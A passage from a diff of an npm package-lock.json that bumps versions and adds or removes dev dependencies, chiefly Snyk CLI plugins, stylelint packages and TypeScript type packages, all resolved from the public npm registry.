+ "requires": {
+ "lodash.clone": "^4.5.0",
+ "lodash.constant": "^3.0.0",
+ "lodash.filter": "^4.6.0",
+ "lodash.foreach": "^4.5.0",
+ "lodash.has": "^4.5.2",
+ "lodash.isempty": "^4.4.0",
+ "lodash.isfunction": "^3.0.9",
+ "lodash.isundefined": "^3.0.1",
+ "lodash.keys": "^4.2.0",
+ "lodash.map": "^4.6.0",
+ "lodash.reduce": "^4.6.0",
+ "lodash.size": "^4.2.0",
+ "lodash.transform": "^4.6.0",
+ "lodash.union": "^4.6.0",
+ "lodash.values": "^4.3.0"
+ }
+ },
+ "@snyk/inquirer": {
+ "version": "7.3.3-patch",
+ "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-7.3.3-patch.tgz",
+ "integrity": "sha512-aWiQSOacH2lOpJ1ard9ErABcH4tdJogdr+mg1U67iZJOPO9n2gFgAwz1TQJDyPkv4/A5mh4hT2rg03Uq+KBn2Q==",
+ "dev": true,
+ "requires": {
+ "ansi-escapes": "^4.2.1",
+ "chalk": "^4.1.0",
+ "cli-cursor": "^3.1.0",
+ "cli-width": "^3.0.0",
+ "external-editor": "^3.0.3",
+ "figures": "^3.0.0",
+ "lodash.assign": "^4.2.0",
+ "lodash.assignin": "^4.2.0",
+ "lodash.clone": "^4.5.0",
+ "lodash.defaults": "^4.2.0",
+ "lodash.filter": "^4.6.0",
+ "lodash.find": "^4.6.0",
+ "lodash.findindex": "^4.6.0",
+ "lodash.flatten": "^4.4.0",
+ "lodash.isboolean": "^3.0.3",
+ "lodash.isfunction": "^3.0.9",
+ "lodash.isnumber": "^3.0.3",
+ "lodash.isplainobject": "^4.0.6",
+ "lodash.isstring": "^4.0.1",
+ "lodash.last": "^3.0.0",
+ "lodash.map": "^4.6.0",
+ "lodash.omit": "^4.5.0",
+ "lodash.set": "^4.3.2",
+ "lodash.sum": "^4.0.2",
+ "lodash.uniq": "^4.5.0",
+ "mute-stream": "0.0.8",
+ "run-async": "^2.4.0",
+ "rxjs": "^6.6.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0",
+ "through": "^2.3.6"
+ },
+ "dependencies": {
+ "ansi-regex": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
+ },
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "cli-width": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz",
+ "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==",
+ "dev": true
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true
+ },
+ "rxjs": {
+ "version": "6.6.7",
+ "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz",
+ "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==",
+ "dev": true,
+ "requires": {
+ "tslib": "^1.9.0"
+ }
+ },
+ "string-width": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz",
+ "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==",
+ "dev": true,
+ "requires": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.0"
+ }
+ },
+ "strip-ansi": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
+ "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "^5.0.0"
+ }
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
}
}
}
},
"@snyk/java-call-graph-builder": {
- "version": "1.13.1",
- "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz",
- "integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==",
+ "version": "1.20.0",
+ "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.20.0.tgz",
+ "integrity": "sha512-NX8bpIu7oG5cuSSm6WvtxqcCuJs2gRjtKhtuSeF1p5TYXyESs3FXQ0nHjfY90LiyTTc+PW/UBq6SKbBA6bCBww==",
+ "dev": true,
"requires": {
- "@snyk/graphlib": "2.1.9-patch",
+ "@snyk/graphlib": "2.1.9-patch.3",
"ci-info": "^2.0.0",
"debug": "^4.1.1",
"glob": "^7.1.6",
"jszip": "^3.2.2",
"needle": "^2.3.3",
"progress": "^2.0.3",
- "snyk-config": "^3.0.0",
+ "snyk-config": "^4.0.0-rc.2",
"source-map-support": "^0.5.7",
"temp-dir": "^2.0.0",
- "tslib": "^1.9.3"
+ "tmp": "^0.2.1",
+ "tslib": "^1.9.3",
+ "xml-js": "^1.6.11"
},
"dependencies": {
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ },
+ "tmp": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
+ "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+ "dev": true,
+ "requires": {
+ "rimraf": "^3.0.0"
+ }
}
}
},
- "@snyk/lodash": {
- "version": "4.17.15-patch",
- "resolved": "https://registry.npmjs.org/@snyk/lodash/-/lodash-4.17.15-patch.tgz",
- "integrity": "sha512-e4+t34bGyjjRnwXwI14hqye9J/nRbG9iwaqTgXWHskm5qC+iK0UrjgYdWXiHJCf3Plbpr+1rpW+4LPzZnCGMhQ=="
+ "@snyk/mix-parser": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@snyk/mix-parser/-/mix-parser-1.2.0.tgz",
+ "integrity": "sha512-WXGpI0sVHNuxQ0oLTplOI4NbKPIFkoLV9yUZskBJKMNWnWBRR3+tZr5l7qXQYoVa+Qz2YcQmrIVR2ouIT3IUow==",
+ "dev": true,
+ "requires": {
+ "@snyk/dep-graph": "^1.28.0",
+ "tslib": "^2.0.0"
+ },
+ "dependencies": {
+ "tslib": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
+ }
+ }
},
"@snyk/rpm-parser": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.0.0.tgz",
- "integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.2.1.tgz",
+ "integrity": "sha512-OAON0bPf3c5fgM/GK9DX0aZErB6SnuRyYlPH0rqI1TXGsKrYnVELhaE6ctNbEfPTQuY9r6q0vM+UYDaFM/YliA==",
+ "dev": true,
"requires": {
"event-loop-spinner": "^2.0.0"
}
},
- "@snyk/ruby-semver": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/@snyk/ruby-semver/-/ruby-semver-2.2.0.tgz",
- "integrity": "sha512-FqUayoVjcyCsQFYPm3DcaCKdFR4xmapUkCGY+bcNBs3jqCUw687PoP9CPQ1Jvtaw5YpfBNl/62jyntsWCeciuA==",
- "requires": {
- "@snyk/lodash": "4.17.15-patch"
- }
- },
"@snyk/snyk-cocoapods-plugin": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.3.0.tgz",
- "integrity": "sha512-4V1xJMqsK6J3jHu9UufKySorzA8O1vNLRIK1JgJf5KcXQCP44SJI5dk9Xr9iFGXXtGo8iI9gmokQcHlGpkPSJg==",
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.5.2.tgz",
+ "integrity": "sha512-WHhnwyoGOhjFOjBXqUfszD84SErrtjHjium/4xFbqKpEE+yuwxs8OwV/S29BtxhYiGtjpD1azv5QtH30VUMl0A==",
+ "dev": true,
"requires": {
- "@snyk/cli-interface": "1.5.0",
- "@snyk/cocoapods-lockfile-parser": "3.4.0",
- "@snyk/dep-graph": "^1.18.2",
+ "@snyk/cli-interface": "^2.11.0",
+ "@snyk/cocoapods-lockfile-parser": "3.6.2",
+ "@snyk/dep-graph": "^1.23.1",
"source-map-support": "^0.5.7",
"tslib": "^2.0.0"
},
"dependencies": {
- "@snyk/cli-interface": {
- "version": "1.5.0",
- "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-1.5.0.tgz",
- "integrity": "sha512-+Qo+IO3YOXWgazlo+CKxOuWFLQQdaNCJ9cSfhFQd687/FuesaIxWdInaAdfpsLScq0c6M1ieZslXgiZELSzxbg==",
- "requires": {
- "tslib": "^1.9.3"
- },
- "dependencies": {
- "tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
- }
- }
- },
"tslib": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
- "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
}
}
},
"@snyk/snyk-docker-pull": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.0.tgz",
- "integrity": "sha512-uWKtjh29I/d0mfmfBN7w6RwwNBQxQVKrauF5ND/gqb0PVsKV22GIpkI+viWjI7KNKso6/B0tMmsv7TX2tsNcLQ==",
+ "version": "3.2.3",
+ "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.3.tgz",
+ "integrity": "sha512-hiFiSmWGLc2tOI7FfgIhVdFzO2f69im8O6p3OV4xEZ/Ss1l58vwtqudItoswsk7wj/azRlgfBW8wGu2MjoudQg==",
+ "dev": true,
"requires": {
- "@snyk/docker-registry-v2-client": "^1.13.5",
+ "@snyk/docker-registry-v2-client": "1.13.9",
"child-process": "^1.0.2",
"tar-stream": "^2.1.2",
"tmp": "^0.1.0"
@@ -1652,43 +3650,94 @@
"version": "0.1.0",
"resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz",
"integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==",
+ "dev": true,
"requires": {
"rimraf": "^2.6.3"
}
}
}
},
+ "@snyk/snyk-hex-plugin": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@snyk/snyk-hex-plugin/-/snyk-hex-plugin-1.1.1.tgz",
+ "integrity": "sha512-NXgslDo6qSvsKy2cR3Yoo/Z6A3Svae9a96j+0OUnvcZX7i6JeODreqXFD1k0vPM2JnL1G7qcdblPxz7M7ZAZmQ==",
+ "dev": true,
+ "requires": {
+ "@snyk/dep-graph": "^1.28.0",
+ "@snyk/mix-parser": "^1.1.1",
+ "debug": "^4.3.1",
+ "tslib": "^2.0.0",
+ "upath": "2.0.1"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "tslib": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
+ },
+ "upath": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/upath/-/upath-2.0.1.tgz",
+ "integrity": "sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==",
+ "dev": true
+ }
+ }
+ },
"@stylelint/postcss-css-in-js": {
- "version": "0.37.1",
- "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.1.tgz",
- "integrity": "sha512-UMf2Rni3JGKi3ZwYRGMYJ5ipOA5ENJSKMtYA/pE1ZLURwdh7B5+z2r73RmWvub+N0UuH1Lo+TGfCgYwPvqpXNw==",
+ "version": "0.37.2",
+ "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.2.tgz",
+ "integrity": "sha512-nEhsFoJurt8oUmieT8qy4nk81WRHmJynmVwn/Vts08PL9fhgIsMhk1GId5yAN643OzqEEb5S/6At2TZW7pqPDA==",
"dev": true,
"requires": {
"@babel/core": ">=7.9.0"
}
},
"@stylelint/postcss-markdown": {
- "version": "0.36.1",
- "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.1.tgz",
- "integrity": "sha512-iDxMBWk9nB2BPi1VFQ+Dc5+XpvODBHw2n3tYpaBZuEAFQlbtF9If0Qh5LTTwSi/XwdbJ2jt+0dis3i8omyggpw==",
+ "version": "0.36.2",
+ "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.2.tgz",
+ "integrity": "sha512-2kGbqUVJUGE8dM+bMzXG/PYUWKkjLIkRLWNh39OaADkiabDRdw8ATFCgbMz5xdIcvwspPAluSL7uY+ZiTWdWmQ==",
"dev": true,
"requires": {
- "remark": "^12.0.0",
- "unist-util-find-all-after": "^3.0.1"
+ "remark": "^13.0.0",
+ "unist-util-find-all-after": "^3.0.2"
}
},
"@szmarczak/http-timer": {
"version": "4.0.5",
"resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.5.tgz",
"integrity": "sha512-PyRA9sm1Yayuj5OIoJ1hGt2YISX45w9WcFbh6ddT0Z/0yaFxOtGLInr4jUfU1EAFVs0Yfyfev4RNwBlUaHdlDQ==",
+ "dev": true,
"requires": {
"defer-to-connect": "^2.0.0"
}
},
+ "@types/braces": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@types/braces/-/braces-3.0.0.tgz",
+ "integrity": "sha512-TbH79tcyi9FHwbyboOKeRachRq63mSuWYXOflsNO9ZyE5ClQ/JaozNKl+aWUq87qPNsXasXxi2AbgfwIJ+8GQw==",
+ "dev": true
+ },
"@types/cacheable-request": {
"version": "6.0.1",
"resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.1.tgz",
"integrity": "sha512-ykFq2zmBGOCbpIXtoVbz4SKY5QriWPh3AjyU4G74RYbtt5yOc5OfaY75ftjg7mikMOla1CTGpX3lLbuJh8DTrQ==",
+ "dev": true,
"requires": {
"@types/http-cache-semantics": "*",
"@types/keyv": "*",
@@ -1697,24 +3746,27 @@
}
},
"@types/classnames": {
- "version": "2.2.10",
- "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.10.tgz",
- "integrity": "sha512-1UzDldn9GfYYEsWWnn/P4wkTlkZDH7lDb0wBMGbtIQc9zXEQq7FlKBdZUn6OBqD8sKZZ2RQO2mAjGpXiDGoRmQ=="
+ "version": "2.2.11",
+ "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.11.tgz",
+ "integrity": "sha512-2koNhpWm3DgWRp5tpkiJ8JGc1xTn2q0l+jUNUE7oMKXUf5NpI9AIdC4kbjGNFBdHtcxBD18LAksoudAVhFKCjw=="
},
"@types/color-name": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz",
- "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ=="
+ "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==",
+ "dev": true
},
"@types/debug": {
"version": "4.1.5",
"resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.5.tgz",
- "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ=="
+ "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ==",
+ "dev": true
},
"@types/emscripten": {
"version": "1.39.4",
"resolved": "https://registry.npmjs.org/@types/emscripten/-/emscripten-1.39.4.tgz",
- "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ=="
+ "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ==",
+ "dev": true
},
"@types/events": {
"version": "3.0.0",
@@ -1722,6 +3774,12 @@
"integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==",
"dev": true
},
+ "@types/flat-cache": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@types/flat-cache/-/flat-cache-2.0.0.tgz",
+ "integrity": "sha512-fHeEsm9hvmZ+QHpw6Fkvf19KIhuqnYLU6vtWLjd5BsMd/qVi7iTkMioDZl0mQmfNRA1A6NwvhrSRNr9hGYZGww==",
+ "dev": true
+ },
"@types/glob": {
"version": "7.1.1",
"resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
@@ -1733,30 +3791,72 @@
"@types/node": "*"
}
},
+ "@types/graphlib": {
+ "version": "2.1.7",
+ "resolved": "https://registry.npmjs.org/@types/graphlib/-/graphlib-2.1.7.tgz",
+ "integrity": "sha512-K7T1n6U2HbTYu+SFHlBjz/RH74OA2D/zF1qlzn8uXbvB4uRg7knOM85ugS2bbXI1TXMh7rLqk4OVRwIwEBaixg==",
+ "dev": true
+ },
"@types/hammerjs": {
"version": "2.0.36",
"resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz",
"integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ=="
},
- "@types/hosted-git-info": {
- "version": "2.7.0",
- "resolved": "https://registry.npmjs.org/@types/hosted-git-info/-/hosted-git-info-2.7.0.tgz",
- "integrity": "sha512-OW/D8GqCyQtH8F7xDdDxzPJTBgknZeZhlCakUcBCya2rYPRN53F+0YJVwSPyiyAhrknnjkl3P9qVk0oBI4S1qw=="
+ "@types/history": {
+ "version": "4.7.9",
+ "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz",
+ "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ=="
},
"@types/http-cache-semantics": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz",
- "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A=="
+ "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==",
+ "dev": true
},
"@types/invariant": {
- "version": "2.2.33",
- "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.33.tgz",
- "integrity": "sha512-/jUNmS8d4bCKdqslfxW6dg/9Gksfzxz67IYfqApHn+HvHlMVXwYv2zpTDnS/yaK9BB0i0GlBTaYci0EFE62Hmw=="
+ "version": "2.2.34",
+ "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.34.tgz",
+ "integrity": "sha512-lYUtmJ9BqUN688fGY1U1HZoWT1/Jrmgigx2loq4ZcJpICECm/Om3V314BxdzypO0u5PORKGMM6x0OXaljV1YFg=="
+ },
+ "@types/istanbul-lib-coverage": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz",
+ "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==",
+ "dev": true
+ },
+ "@types/istanbul-lib-report": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+ "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
+ "dev": true,
+ "requires": {
+ "@types/istanbul-lib-coverage": "*"
+ }
+ },
+ "@types/istanbul-reports": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz",
+ "integrity": "sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA==",
+ "dev": true,
+ "requires": {
+ "@types/istanbul-lib-report": "*"
+ }
+ },
+ "@types/jest": {
+ "version": "26.0.22",
+ "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.22.tgz",
+ "integrity": "sha512-eeWwWjlqxvBxc4oQdkueW5OF/gtfSceKk4OnOAGlUSwS/liBRtZppbJuz1YkgbrbfGOoeBHun9fOvXnjNwrSOw==",
+ "dev": true,
+ "requires": {
+ "jest-diff": "^26.0.0",
+ "pretty-format": "^26.0.0"
+ }
},
"@types/js-yaml": {
- "version": "3.12.5",
- "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.5.tgz",
- "integrity": "sha512-JCcp6J0GV66Y4ZMDAQCXot4xprYB+Zfd3meK9+INSJeVZwJmHAW30BBEEkPzXswMXuiyReUGOP3GxrADc9wPww=="
+ "version": "3.12.6",
+ "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.6.tgz",
+ "integrity": "sha512-cK4XqrLvP17X6c0C8n4iTbT59EixqyXL3Fk8/Rsk4dF3oX4dg70gYUXrXVUUHpnsGMPNlTQMqf+TVmNPX6FmSQ==",
+ "dev": true
},
"@types/json-schema": {
"version": "7.0.5",
